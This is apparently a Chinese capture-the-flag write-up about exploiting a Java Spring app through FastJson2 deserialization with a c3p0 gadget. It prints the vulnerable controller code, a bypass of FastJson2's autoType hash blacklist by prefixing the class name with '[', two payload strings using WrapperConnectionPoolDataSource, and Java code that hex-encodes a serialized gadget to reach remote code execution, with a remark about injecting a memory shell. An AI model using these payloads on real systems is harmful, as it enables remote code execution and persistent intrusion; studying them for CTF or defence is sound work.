考点:FastJson2反序列化,c3p0反序列化
FastJson2 Bypass
惯例先审代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
|
package com.app.controller;
import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONReader; import com.alibaba.fastjson2.JSONReader.Feature; import com.app.bean.User; import java.io.FileOutputStream; import java.util.Base64; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class TestController { public static String[] blacklist = new String[]{"ldap", "rmi", "dns", "iiop"};
public TestController() { }
@RequestMapping({"/"}) public String index() { return "redirect:/login"; }
@RequestMapping({"/login"}) public String login(@RequestParam(value = "username",required = false,defaultValue = "") String username, @RequestParam(value = "password",required = false,defaultValue = "") String password) { if (username.length() != 0 && password.length() != 0) { User user = new User(); if (username.equals(user.getUsername()) && password.equals(user.getPassword())) { return "user-profile"; } }
return "login"; }
@RequestMapping({"/userprofile"}) public String userprofile(@CookieValue(value = "userinfo",defaultValue = "",required = false) String userinfo, Model model) { if (userinfo.isEmpty()) { return "login"; } else { try { String decstr = new String(Base64.getDecoder().decode(userinfo)); String[] var4 = blacklist; int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) { String black = var4[var6]; if (decstr.contains(black)) { model.addAttribute("msg", "check " + black); return "error"; } }
User obj = (User)JSON.parse(decstr, new JSONReader.Feature[]{Feature.SupportAutoType}); User user = new User(); if (obj.username.equals(user.getUsername()) && obj.password.equals(user.getPassword())) { return "user-profile"; } else { model.addAttribute("msg", "username or password error"); return "error"; } } catch (Exception var8) { model.addAttribute("msg", "cookie is error"); return "error"; } } }
@RequestMapping({"/logoapi"}) public String logoapi(@RequestParam(value = "logostr",defaultValue = "",required = false) String logostr, Model model) { if (logostr.isEmpty()) { model.addAttribute("msg", "plz give me data"); return "error"; } else { try { byte[] decode = Base64.getDecoder().decode(logostr); FileOutputStream fileOutputStream = new FileOutputStream("/tmp/logo.jpg"); fileOutputStream.write(decode); fileOutputStream.close(); model.addAttribute("msg", "logo set success"); return "error"; } catch (Exception var5) { model.addAttribute("msg", "data is wrong"); return "error"; } } } }
|
在这里其实是用到了FastJson的parse方法,那么方向思考往fastjson反序列化靠,先看看该题目的fastjson版本
不看不知道,一看是fastjson2,以往我们的fastjson链子都是1.x的,然后我们也知道在1.4.x版本后加了一个checkAutotype用来判断是否可以被反序列化,那么这里就需要绕过了
还有一个很有意思的点就是我们看到了依赖中是有c3p0的
那么很明显就是用C3P0去打FastJson,先不急,我们用以往的payload调试一遍看看:
1
| String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
|
我们来跟一遍流程,断点就给在parse方法
先进入parse里的readObject进行反序列化
然后调用了autoTypeObjectReader = context.getObjectReaderAutoType(typeName, (Class)null);
判断typeName
调用了checkAutoType
在里面对我们传入的typeName疯狂进行异或然后和hash黑名单里的值进行比较
这里的denyhash黑名单就比较铸币了,设计者为了防止别人研究黑名单,所以换成了hashcode,但我想的是java里的类也没那么多,按照你的算法碰撞一遍不全都出来了,然后我github一搜还真是
https://github.com/LeadroyaL/fastjson-blacklist
然后发现C3P0的com.mechange被ban了,因此就得思考如何进行绕过,前几个版本有用到tips,就是加上[
进行绕过,那么这里究竟可不可以呢?首先加上是可以绕过这里的checkAutoType的,但是之前版本对此的修复方式为抛出异常,我们看看loadClass的逻辑
我们的类名传进来为[com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
,先判断classname的长度是不是大于192,如果是返回null,这里肯定不是,然后判断开头是否为[
,如果是就用substring去除,这里我觉得好傻逼啊
你在1.2.46的补丁里抛出异常了你为啥在fastjson2忘记了呢。。。。。
编写POC
因此这一题的payload很简单有2种:
1 2 3 4
| String payload="{\"@type\":\"[com.mchange.v2.c3p0.WrapperConnectionPoolData Source\",[\"userOverridesAsString\":\"HexAsciiSerializedMap:"+Hex+"\"}"; String payload="{\"@type\":\"[com.mchange.v2.c3p0.WrapperConnectionPoolData Source\",[\"userOverridesAsString\":\"HexAsciiSerializedMap:"+Hex+"\"]}";
|
里面的Hex就是你Poc.ser的十六进制编码
1 2 3 4 5 6 7 8 9 10 11
| public static void unserialize(String exp) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(exp); String Hex = bytesToHexString(decode,decode.length)+"a"; System.out.println(Hex); } public static void main(String[] args) throws Exception{ byte[] b = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Java\\C3P0\\C3P0\\target\\classes\\poc.ser")); String s = Base64.getEncoder().encodeToString(b); unserialize(s); }
|
然后这里有一个注意事项,就是你的HEX POC必须是偶数,否则会抛出一个异常
因此在你的poc结尾加上一个字符,这里加了个a,然后即可RCE
假如需要注内存马,直接把内存马的poc换上即可
POC流程分析
惯例审POC,对FastJson熟悉一点的同学可能就知道,在调用parse的过程中是会调用任意类的setter方法的,因此这里结合c3p0可以达到反序列化
这里的触发点在this.vcs.fireVetoableChange
调用了firevetoablechange方法,跟进一下
继续跟进
继续跟进
到这里经过evt.getNewValue方法获取了我们的十六进制字符串,然后调用了parseUserOverridesAsString
在这里将十六进制字符串解码后,再变为bytes字节数组,跟进fromByteArray
开始反序列化,调用 deserializeFromByteArray(var0)
弹计算机了